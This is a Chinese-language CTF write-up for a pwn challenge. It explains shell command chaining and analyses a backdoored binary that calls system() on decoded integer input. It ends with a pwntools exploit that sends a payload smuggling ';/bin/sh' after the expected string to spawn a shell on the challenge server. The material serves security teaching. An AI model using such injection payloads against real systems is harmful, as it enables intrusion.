通常pwn题目,时常会考到对Linux命令的一些使用**,比如当cat被禁用的时候,可以使用tac,或者别的命令代替🔢**
下面是buu上的应该题目,考察的就是对liunx命令的理解,以及对程序的分析。
扩展:1.当我们输入第一个命令之后加上;然后后面加上第二个命令,那么就会先执行第一个命令再执行第二个命令,即使第一个命令不合法也可以执行第二个
2.当我们输入第一个命令之后加上&&,然后后面加上第二个命令,那么就会先执行第一个命令如果第一个命令为真再执行第二个命令,否则不会执行
3.当我们输入第一个命令之后加上||,然后后面加上第二个命令,那么就会先执行第一个命令如果第一个命令为真就不会执行第二个命令,否则会执行
1.当拿到题目的时候,先看有没有给libc什么的,如果给了,首先先把题目的libc换上,然后再进行下一步,当然对于这一个题目首先查看保护
2.处于一个保护全开的状态,其实对于这种保护全开的题目,要么程序里面给了后门,要么这是个堆题,64位ida载入一下
可以看见程序确实留的有后门,现在进行逐步分析
v3是command的指针,v4是command的首地址
这里就是我们对command里面进行赋值,不过是要输入数字,%d,4个单元为一个元素
这里进行遍历把* v3里面每个元素都加了0x1bf52
v8里面放的是这个
这里进行判断输入command的东西是不是等于v8里面的东西,如果不是就退出,而且如果最后循环结束的时候*v8指向的字符串不是'0'的时候就不会执行system(command)。
思路是,首先输入的东西肯定要包含v8里面的东西,然后就是加上/bin/sh\x00\x00,\x00的作用就是进行绕过,不让程序退出,然后就会执行PvvN| 1S S0 GREAT!/bin/sh,但是这个啥也不是啊,别忘了linux里面的命令特点,当我们输入第一个命令之后加上;然后后面加上第二个命令,那么就会先执行第一个命令再执行第二个命令,即使第一个命令不合法也没事,那么就是PvvN| 1S S0 GREAT!;/bin/sh,但是前面将每一个元素加了0x1BF52,我们需要减去,然后就是输入对应的ascii码
可以使用u32或者u64进行输入,返回的是int类型的ascii码。
Exp:
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io = remote('pwn.challenge.ctf.show',28180)
payload = b'PvvN| 1S S0 GREAT!;/bin/sh\x00\x00'
print(len(payload))
for i in range(7):
n=i*4
io.sendline(str(u32(payload[n:n+4])-0x1BF52))
io.interactive()